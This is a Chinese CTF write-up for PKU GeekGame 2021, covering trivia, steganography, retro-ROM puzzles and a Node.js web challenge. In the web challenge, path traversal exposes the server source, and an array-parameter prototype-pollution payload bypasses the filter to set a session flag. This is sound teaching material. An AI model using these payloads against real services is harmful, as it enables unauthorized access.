CTF | 2021 PKU GeekGame 1st WriteUp


前言

PKU GeekGame 来了。

北京大学信息安全综合能力竞赛

在2021年5月曾举办了具有试水性质的“第零届”竞赛,因此本届竞赛命名为第一届。 本届竞赛将继续追求 题目新颖有趣、难度具有梯度,让没有相关经验的新生和具有一定专业基础的学生都能享受比赛,在学习的过程中有所收获。

竞赛的考察内容涉及到信息安全的各个方面,主要包括:

  • Misc: 基本技能(常见编码、信息检索利用能力等)

  • Web: 网站安全(Web 漏洞利用、JavaScript 编程等)

  • Binary: 二进制安全(逆向工程、程序调试等)

  • Algorithm: 算法安全(现代密码学、算法设计等)

    每道题目的考察内容可能不唯一,以上分类仅供参考。

赛程安排

比赛时间为北京时间 11 月 13 日(周六)12:00 到 20 日(周六)12:00,持续一周时间。

竞赛为个人线上解题赛,选手需要解决与安全相关的谜题获得答案。

本竞赛不专门设置报名环节,选手在比赛结束前可以自由登录本平台 geekgame.pku.edu.cn 参赛

本届竞赛将分为两个阶段,时长分别为 5 天和 2 天。在第二阶段将放出提示或降低难度,同时在此阶段解出题目将只能获得 1/4 的分数。通过第二阶段,希望思路卡壳的选手能够借助提示不留遗憾,同时萌新也有机会挑战难题。

比赛时间表:

  • 13 日(周六)12:00:比赛开始,题目将在前两天内分批放出
  • 18 日(周四)12:00:比赛进入第二阶段,将放出提示或降低难度,在此阶段获得的分数将减少
  • 20 日(周六)12:00:比赛结束,将无法再提交答案,题目环境将继续开放
  • 21 日(周日)22:00 前:校内排名前 35 名的选手需要提交每道解出题目的解题报告(Writeup)
  • 比赛结束后:将举办颁奖典礼,并公开官方 Writeup 和部分优秀选手 Writeup

USTC Hackergame 结束了,北大的第一届 GeekGame 来了。然而总共举办的次数并不是1而是2,因为是从0开始的(23333

想着 hackergame 没好好打,于是就来这个比赛看看题了呗。结果一打自闭好几天,麻了。

本来这篇 writeup 应该比赛结束就发的,但是还想着复现几个题于是就咕了,但是后来发现也没啥时间复现了,咕了好久想想还是直接发了吧(((

→签到←

https://geekgame.pku.edu.cn/media/prob01_lwzltdrojur150zq.zip?token=xxx

编辑文字,把里面内容复制出来,然后俩栅栏手工补一下。

fa{aeAGetTm@ekaev!
lgHv__ra_ieGeGm_1}

flag{Have_A_Great_Time@GeekGame_v1!}

花絮

有天在实验室,有个学弟来看了看题目,本来想签个到的,发现怎么都整不出来,然后找到了 喵喵之前写的一篇 wp,找到了当时比对字体的网站,然后比对到了用的 Wingdings 字体,但是发现 pdf 不全,于是没签上到(摊手.jpg

小北问答 Remake

You 酱善于使用十种搜索引擎,别人不清楚的知识她能一秒钟搜索出来。这是众人皆知的事实。

You 酱的朋友菜宝在刷往年题的时候找到了一份没有答案的资料。她本想询问 You 酱,但听说 You 酱已经早在 5 月份就把课程辅导这项业务外包给了你。

于是,现在菜宝手持两枚 Flag,希望你能帮她解答这些题目。你每小时可以提交一次答案,答对至少一半可以获得第一个 Flag,全部答对可以获得第二个 Flag。

#1

北京大学燕园校区有理科 1 号楼到理科 X 号楼,但没有理科 (X+1) 号及之后的楼。X 是?

答案格式: ^\d+$

5

#2

上一届(第零届)比赛的总注册人数有多少?

答案格式:^\d+$

竞赛采取个人线上赛的形式,从5月16日至23日,在CTF赛制的基础上加入一定的基础知识竞赛等内容,共设17道信息安全综合能力竞赛题。本次大赛共有407人注册参赛,有效选手334人。历经七天的紧张比赛,大赛共决出一等奖三名、二等奖七名、三等奖二十名、新生特别奖三名、“一血奖”十七人次。

via 北京大学举办首届信息安全综合能力竞赛

407

#3

geekgame.pku.edu.cn 的 HTTPS 证书曾有一次忘记续期了,发生过期的时间是?

答案格式: ^2021-\d\d-\d\dT\d\d:\d\d:\d3\+08:00$

https://crt.sh/?q=geekgame.pku.edu.cn

https://crt.sh/?id=4362003382

2021-07-11T08:49:53+08:00

#4

2020 年 DEFCON CTF 资格赛签到题的 flag 是?

答案格式:^.+{.+}$

https://archive.ooo/c/welcome-to-dc2020-quals/358/

https://s3.us-west-2.amazonaws.com/archive-ooo-public/public_files/7ea9b08d24b9ab179e901316db875cd3c08f27de29b8f8152ce298e26a2961be/welcome.txt

OOO{this_is_the_welcome_flag}

#5

在大小为 672328094 * 386900246 的方形棋盘上放 3 枚(相同的)皇后且它们互不攻击,有几种方法?

答案格式: ^\d+$

这题硬是到了最后一天也没懂怎么做。。把三(n)皇后问题看了又看,怎么一堆 DFS 回溯啥的,喵喵好菜啊不懂算法,呜呜。(感觉是有必要学学算法了

而且,一直在想不是 n*n 这种正方形的情况该怎么解好啊……摸了。

(猜了 114514,1145141919810,发现都不是

BTW, 嘉然啊……

第二阶段提示

不同的领域有不同的专业工具。你可能无法一下找到答案,但是你能找到一个工具,然后用这个工具得到答案。
这个工具可能是某个信息公开系统,可能是某个资料存档,可能是某个在线查询服务。而对于整数数列构成的数学问题来说,这个著名的工具是……

整数数列构成的数学问题,当时没想到,只是谷歌查了 三个皇后,没查到,gg。

赛后才知道原来说的是 OEISThe On-Line Encyclopedia of Integer Sequences® (OEIS®)

搜索 3 queens 就能找到这个 A047659 Number of ways to place 3 nonattacking queens on an n X n board.

In general, for m <= n, n >= 3, the number of ways to place 3  nonattacking queens on an m X n board is n^3/6*(m^3 - 3*m^2 + 2*m) -  n^2/2*(3*m^3 - 9*m^2 + 6*m) + n/6*(2*m^4 + 20*m^3 - 77*m^2 + 58*m) -  1/24*(39*m^4 - 82*m^3 - 36*m^2 + 88*m) + 1/16*(2*m - 4*n + 1)*(1 +  (-1)^(m+1)) + 1/2*(1 + abs(n - 2*m + 3) - abs(n - 2*m + 4))*(1/24*((n -  2*m + 11)^4 - 42*(n - 2*m + 11)^3 + 656*(n - 2*m + 11)^2 - 4518*(n - 2*m + 11) + 11583) - 1/16*(4*m - 2*n - 1)*(1 + (-1)^(n+1))) [Panos  Louridas, idee & form 93/2007, pp. 2936-2938]. - Vaclav Kotesovec, Feb 20 2016

#6

上一届(第零届)比赛的“小北问答1202”题目会把所有选手提交的答案存到 SQLite 数据库的一个表中,这个表名叫?

https://github.com/PKU-GeekGame/geekgame-0th/blob/main/src/choice/game/db.py

submits

#7

国际互联网由许多个自治系统(AS)组成。北京大学有一个自己的自治系统,它的编号是?

答案格式: ^AS\d+$

https://bgp.he.net/search?search%5Bsearch%5D=Peking+University&commit=Search

AS59201

#8

截止到 2021 年 6 月 1 日,北京大学信息科学技术学院下属的中文名称最长的实验室叫?

答案格式: ^.{15,30}(实验室|中心)$

信息科学技术学院2022年招生指南

区域光纤通信网与新型光通信系统国家重点实验室

flag{JiU-Cong-Xian-Zai-Kai-SHi}

叶子的新歌

“叶子又发新歌了。”

叶子是小雨的好朋友,最近想成为四轱辘爱抖露所以沉迷写歌,但由于资质太过平庸,他写的歌并没有什么人听。每当他在无人问津的阴雨霉湿之地,和着雨音,唱着没有听众的歌曲的时候,也不会有人因为他的歌声而在路上拦住他说:太好汀了⑧!

不过毕竟,叶子是小雨最好最好的朋友,小雨还是决定听一听叶子的新歌。但是她总感觉,叶子似乎在歌里藏了一些东西。

“是想对我说的话吗?”

小雨决定找出歌里藏着的三个Flag。

夢は時空を越えて

Secret in Album Cover!!

lsb

Aztec 条码

https://products.aspose.app/barcode/zh-hans/recognize/aztec#/recognized

Gur frperg va uvfgbtenz.

ROT13

The secret in histogram.

草 直方图。。

然而太不清晰了……没办法怎么都扫不出来。(赛后才知道其实是反色了)

最后不行还得上py

from PIL import Image
import binascii
import cv2
import numpy as np
from matplotlib import pyplot as plt

image = cv2.imread("1.png")
colors = ('b', 'g', 'r')
for n, color in enumerate(colors):
    hist = cv2.calcHist([image], [n], None, [256], [0, 256])
    plt.plot(hist, color=color)
    print(hist)
    plt.xlim([0, 256])
plt.show()

hist2 = ['1' if h[0] == 8196.0 else '0' for h in hist]
hist3 = ['0' if h[0] == 8196.0 else '1' for h in hist]
d2 = ''.join(hist2)
d3 = ''.join(hist3)
print(d3)
# 1110100011000001111100010001001111100111101001000001101110001011001111110011000110001111011100010010000011001111110110011000001000111010011110001100010011000011110010000110000110011111000100100010000100111000010001011100000111001100011100111000011110010110

target = Image.new('RGBA', (300, 300), color=0)
for x in range(len(d3)):
    for y in range(200):
        if d3[x] == '1':
            target.putpixel((x, y), (255, 255, 255, 255))
        else:
            target.putpixel((x, y), (0, 0, 0, 255))
target.show()
target.save('barcode.png')

barcode

扫码得到

xmcp.ltd/KCwBa

访问

你还记得高中的时候吗?那时在市里的重点中学,我们是同桌。我以前还怪讨人嫌的,老是惹你生气,然后你就不和我说话,我就死乞白赖地求你,或者讲笑话逗你。

不过,你笑起来好可爱,从小就好可爱。此后的一切,也都是从那个笑容开始的吧。

真的,好想回到那个时候啊。

Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook!
Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook. Ook?
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook?
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook?
Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook?
Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook.
Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook!
Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook.
Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook?
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook?
Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook?
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook?
Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook!
Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook?
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook?
Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook!
Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook! Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook?
Ook. Ook? Ook! Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook?
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook?
Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook?
Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook! Ook. Ook? Ook. 

可恶的 ook 编码,解码 得到第一个 flag

flag{y0u_h4ve_f0rgott3n_7oo_much}

抢了个一血,好耶!

幻夢界

再看这个音频,发现有个奇怪的字符串

aHR0cDovL2xhYi5tYXh4c29mdC5uZXQvY3RmL2xlZ2FjeS50Ynoy

或者格式工厂啥的看下信息。

General
Complete name                            : LeafsNewSong.mp3
Format                                   : MPEG Audio
File size                                : 4.30 MiB
Duration                                 : 58 s 70 ms
Overall bit rate mode                    : Constant
Overall bit rate                         : 320 kb/s
Album                                    : Secret in Album Cover!!
Track name                               : 叶子的新歌
Track name/Total                         : aHR0cDovL2xhYi5tYXh4c29mdC5uZXQvY3RmL2xlZ2FjeS50Ynoy
Performer                                : 叶子
Writing library                          : Lavf58.45.100
Cover                                    : Yes
Cover type                               : Cover (front)
Cover MIME                               : image/png
TSS                                      : Logic Pro X 10.7.0
iTunNORM                                 :  0000072C 00000736 00003208 00003140 00009E92 0000501A 00006703 00007E86 00007678 00007E1F
iTunSMPB                                 :  00000000 00000210 000007A5 00000000002709CB 00000000 002350D1 00000000 00000000 00000000 00000000 00000000 00000000
USLT                                     : 空无一人的房间 / 我望向窗外 / 想回到昨天 /  / 琥珀色的风 / 能否将 回忆传到那边 / 闪烁的星 / 照亮夜空 连成我的思念 /  / 你 在梦的另一边 / 站在 日落的地平线 / 背离这世界而去 / 想 在回不去的时间里 / 遇见你 遇见你 遇见你 / 遇见你 遇见你 遇见你
comment                                  : 你还记得吗?小时候,我家和你家都在一个大院里。放学以后,我们经常一起在院子里玩。你虽然是个女孩子,但总是能和男孩子们玩到一块去。 /  / 夏天的时候我们挖蚯蚓、捉蚂蚱;冬天,院子里的大坡上积了一层雪,我们就坐在纸箱子压成的雪橇上,一次次从坡顶滑到坡底。那个时候你还发现,坐在铁簸箕上滑得更快。 /  / ——当然,那次你也摔得挺惨的。

Audio
Format                                   : MPEG Audio
Format version                           : Version 1
Format profile                           : Layer 3
Format settings                          : Joint stereo / MS Stereo
Duration                                 : 58 s 70 ms
Bit rate mode                            : Constant
Bit rate                                 : 320 kb/s
Channel(s)                               : 2 channels
Sampling rate                            : 44.1 kHz
Frame rate                               : 38.281 FPS (1152 SPF)
Compression mode                         : Lossy
Stream size                              : 2.22 MiB (52%)

base64

http://lab.maxxsoft.net/ctf/legacy.tbz2

下载下来内容如下。

(怎么比赛的时候就没想到去启动啊,根本没注意到还有引导啊

新建一个虚拟机,配置软驱启动

然后就可以拿到 flag2 了。

还给了个 final password: ItsMeMrLeaf

当然也可以试试拿 qemu 启动

qemu-system-x86_64 -drive format=raw,file=To_the_past.img

夢と現の境界

再看 img 里的内容

密码是:宾驭令诠怀驭榕喆艺艺宾庚艺怀喆晾令喆晾怀

或者用 VMware 把软驱以镜像的方式挂载进去

直接试发现不行,查了一下发现是纸币箱号的暗语(?

解释箱号分二步,第一步是把暗码转成明码,第二步是按明码进行查解,得到你要的数据。

第五套人民币:

例:06 玑驭喆诠 3296
06:代表是2006年生产的此卷;
玑:代表面值,是一个带栽王旁的字,玑是一元,玮是十元,奇谈的我没见过。
驭喆诠:这是一个暗语,翻译是
艺=1 驭=2 令=3 怀=4 庚=5 诠=6 宾=7 晾=8 喆=9 榕=10也就是0
驭喆诠就是296号
怀宾就是47号。
3296:钱币的流水号。

https://zhidao.baidu.com/question/400192266.html

顺便,第四套:

例:00位打扎拉 1348
  00:代表是2000年生产的此卷;
  位:代表面值,是一个带单人旁的字,付是一角,位是二角,信是五角,仁是一元,伙是二元,佳士五元,大面值的我没见过,也用不到吧。
  打扎拉:这是几个由提手旁组成的,是一个暗语,翻译是
  扎-1 打-2 扛-3 抖-4 拉-5 持-6 捎-7 接-8 揖-9 搞-10也就是0
  那么打扎拉就是215
  再如持打搞就是620
  扎就是1号
  1348:钱币的流水号。
  所以上面的字翻译成明语就是2000年二角215号,流水号1348

三版也一样,例:98公引乘徘振 0867
  98:代表是1998年生产的此卷;
  公:代表面值,公式一分,其他的的我没见过。
  引乘徘振:这是一个暗语,翻译是
  引-1 什-2 壮-3 扶-4 作-5 祥-6 振-7 徘-8 湃-9 乘-10也就是0
  引乘徘振就是1087号
  引引作就是115号
  0867:钱币的流水号。

d = dict(=1,=2,=3,怀=4,=5,=6,=7,=8,=9,=0)
s = "宾驭令诠怀驭榕喆艺艺宾庚艺怀喆晾令喆晾怀"
for i in s:
    print(d[i], end="")

得到 72364209117514983984,解压。

红白机啊。。下了个 FCEUX.EXE 模拟器,又找了个经典红白机的游戏合集 【红白机完全档案】全红白机FC游戏合集(三) ,发现模拟的文件是 .nes,这个不对啊……

再看 readme,找不同。。

left/right 对比

再随便看个 .nes 的文件

.nes

4E45531A,草,就是把差异的部分提取出来嘛。

想了半天不知道怎么 diff 导出到文件比较好。最后先拿 010 editor 做了个 diff,导出到 csv,然后写了个脚本提取左右差异的部分,导出到 bin 文件。

最后再拿 fceux 模拟器跑一跑,然而不知道为啥我导出来的 binary 文件跑不起来,界面一片灰。估计哪里 diff 锅了吧(?

后面再来复现(咕

Flag即服务

You 酱听说最近 *aaS 概念十分火热,无论什么都可以做成开放的 API,就像连接着每个设备的一条分布式软总线,可以跨越编程语言和操作系统的限制,实现任何想做的功能。有了 *aaS,我们就离元宇宙更近一步了呢。

受此鼓舞,You酱用一天时间开发出了震撼人心的新项目 JSON-as-a-Service,要解决困扰全世界开发者几十年的 JSON 格式转换难题。

她在自己保存 Flag 的服务器上部署了这个服务,并发给你了一个链接,想请你体验一下。

零·获得代码

这里的 dockerfile 提示了我们这个提供的文件在 data 目录下

FROM node:14
WORKDIR /usr/src/app
COPY path/to/server_source_code .
COPY path/to/demo.json data/
RUN npm install
EXPOSE 3001
CMD [ "npm", "start" ]

那试试能不能跨目录读取呢?

nodejs,那就读下 package.json

{"name":"demo-server","version":"1.0.0","description":"","scripts":{"start":"node --max-http-header-size=32768 start.js"},"author":"You","license":"WTFPL","dependencies":{"jsonaas-backend":"https://geekgame.pku.edu.cn/static/super-secret-jsonaas-backend-1.0.1.tgz"}}

读其他文件会说 Cannot parse file as JSON!,所以直接下载下来看源码吧。

index.js

const express = require('express');
const session = require('express-session');
const helmet = require('helmet');
const fs = require('fs');

const {getflag} = require('./getflag');
const {safe_eval} = require('./safe_eval');

let FLAG0 = getflag('flag0.txt');
let FLAG1 = getflag('flag1.txt');
let FLAG2 = getflag('flag2.txt');
const MAX_LENGTH = 4096;

const app = express();
app.use(helmet());
app.use(session({
    secret: 'ctl7nk2s170srnivd4r7vj9rh5dv4dgi',
    resave: false,
    saveUninitialized: false,
}));

app.use((req, res, next)=>{
    if(req.path.toLowerCase().endsWith('settings'))
        res.send('this feature is currently under development :(');
    else
        next();
});

app.get('/', (req, res)=>{
    res.sendFile('readme.html', {root: '.'});
});

function waf(str) {
    for(let bad_name of Object.getOwnPropertyNames(({}).__proto__))
        if(str.indexOf(bad_name)!==-1)
            return true;
    return false;
}

app.get('/api/:path(*)', (req, res)=>{
    let path = 'data/'+req.params.path;
    let in_path = req.query.in_path||'';
    let out_path = req.query.out_path||'';
    let prefix = req.session.prefix ? (req.session.prefix+'/') : '';
    let eval_mode = req.session.eval_enabled===1;

    if(waf(in_path) || waf(out_path) || waf(prefix)) {
        res.send('Bad parameter!');
        return;
    }

    if(!fs.existsSync(path)) {
        res.send('File does not exists!');
        return;
    }
    let data = fs.readFileSync(path);
    if(data.length>MAX_LENGTH) {
        res.send('File too big!');
        return;
    }
    try {
        data = JSON.parse(data);
    } catch(_) {
        res.send('Cannot parse file as JSON!');
        return;
    }

    in_path = prefix + in_path;
    in_path = in_path.split('/').filter(x=>x!=='');
    for(let term of in_path) {
        if(term.indexOf('_')!==-1) {
            res.send('Bad parameter!');
            return;
        }
        if(eval_mode && /^\([^a-zA-Z"',;]+\)$/.test(term))
            term = safe_eval(term);
        if(data[term]===undefined)
            data[term] = {};
        data = data[term];
    }

    if(!JSON.stringify(data)) {
        res.send('Bad data!');
        return;
    }

    let output = {};
    out_path = prefix + out_path;
    out_path = out_path.split('/').filter(x=>x!=='');
    if(out_path.length===0)
        output = data;
    else {
        let cur = output;
        for(let term of out_path.slice(0, out_path.length-1)) {
            if(term.indexOf('_')!==-1) {
                res.send('Bad parameter!');
                return;
            }
            // no eval for out_path :)
            /*
            if(eval_mode && /^\([^a-zA-Z"',;]+\)$/.test(term))
                term = safe_eval(term);
            */
            if(cur[term]===undefined)
                cur[term] = {};
            cur = cur[term];
        }
        cur[out_path[out_path.length-1]] = data;
    }

    res.json(output);
});

app.get('/activate', (req, res)=>{
    if(req.query.code===FLAG1)
        req.session.activated = 1;
    
    if(req.session.activated)
        res.send(`You have been activated. Activation code: ${FLAG1}`);
    else
        res.send('Wrong activation code :(');
});

app.get('/eval_settings', (req, res)=>{
    if(req.session.activated!==1) {
        res.send('Eval feature requires activation :(');
        return;
    }

    req.session.eval_enabled = req.query.eval==='on' ? 1 : 0;
    res.send(`Eval set to ${req.session.eval_enabled}`);
});

app.get('/prefix_settings', (req, res)=>{
    if(req.session.activated!==1) {
        res.send('Prefix feature requires activation :(');
        return;
    }
    
    if(waf(req.query.prefix)) {
        res.send('Bad prefix!');
        return;
    }

    req.session.prefix = req.query.prefix;
    res.send(`Prefix set to "${req.session.prefix}"`);
});

module.exports = function start_server(port) {
    if(FLAG0!==`flag{${0.1+0.2}}`)
        return;
    FLAG2 = null;
    app.listen(port, ()=>{
        console.log(`server started on :${port}`);
    });
}

flag0

flag{0.30000000000000004}

壹·开通会员

再看 flag1 相关的源码。

app.get('/activate', (req, res)=>{
    if(req.query.code===FLAG1)
        req.session.activated = 1;
    
    if(req.session.activated)
        res.send(`You have been activated. Activation code: ${FLAG1}`);
    else
        res.send('Wrong activation code :(');
});

很明显是要 原型链污染 了。

这里需要 req.session.activated 不为假就行,而这个参数本身是没定义过的,于是就会往上一层去找,所以可以直接污染 Object,让 Object.activated 有值就行。

再看源码。

in_path = prefix + in_path;
in_path = in_path.split('/').filter(x=>x!=='');
for(let term of in_path) {
    if(term.indexOf('_')!==-1) {
        res.send('Bad parameter!');
        return;
    }
    if(eval_mode && /^\([^a-zA-Z"',;]+\)$/.test(term))
        term = safe_eval(term);
    if(data[term]===undefined)
        data[term] = {};
    data = data[term];
}

if(!JSON.stringify(data)) {
    res.send('Bad data!');
    return;
}

let output = {};
out_path = prefix + out_path;
out_path = out_path.split('/').filter(x=>x!=='');
if(out_path.length===0)
    output = data;
else {
    let cur = output;
    for(let term of out_path.slice(0, out_path.length-1)) {
        if(term.indexOf('_')!==-1) {
            res.send('Bad parameter!');
            return;
        }
        // no eval for out_path :)
        /*
            if(eval_mode && /^\([^a-zA-Z"',;]+\)$/.test(term))
                term = safe_eval(term);
            */
        if(cur[term]===undefined)
            cur[term] = {};
        cur = cur[term];
    }
    cur[out_path[out_path.length-1]] = data;
}

res.json(output);

这里过滤了不能有 _,且在 waf 里也遍历了输入的 str.indexOf 是否存在和 ({}).__proto__ 所包含的属性。看起来很好地过滤了原型链,实际上并不是。

(然而喵喵却调了老半天……

这个 indexOf,其实不仅仅 Sting 有,Array 也有,只要咱传个数组进去,就匹配不到这些属性名称了。

这个 trick 还是今年东华杯的一道 web 中的见到的,赛后看其他师傅 wp 学到的(

然而,还不能用 __proto__,但其实能用 constructor.prototype.

再回到源码,为了完成这个赋值,out_path 通过 cur = cur[term]; 依次往 {} 内层嵌套赋值,再把最后的结果从读取到的 JSON 文件里取 in_path 相应的值。于是就可以通过 / 来分割每一个 .,也就是构造 constructor/prototype/xxx 这样就行了。

这里只需要 activated 不为假,那随便整个 demo.js 里的东西赋值过去就完事了。

唉,本地调了老半天……可以看到这个 req.session.activated 就被设置了。还是太菜了。

然后打远程。

payload:

GET /api/demo.json?in_path=1&out_path[]=constructor/prototype/activated

再访问 /activate

flag{I-Can-activate-FRom-Prototype}

抢了个二血(可恶,一血没了,呜呜

贰·为所欲为

那接下来就是要让 req.session.eval_enabled===1

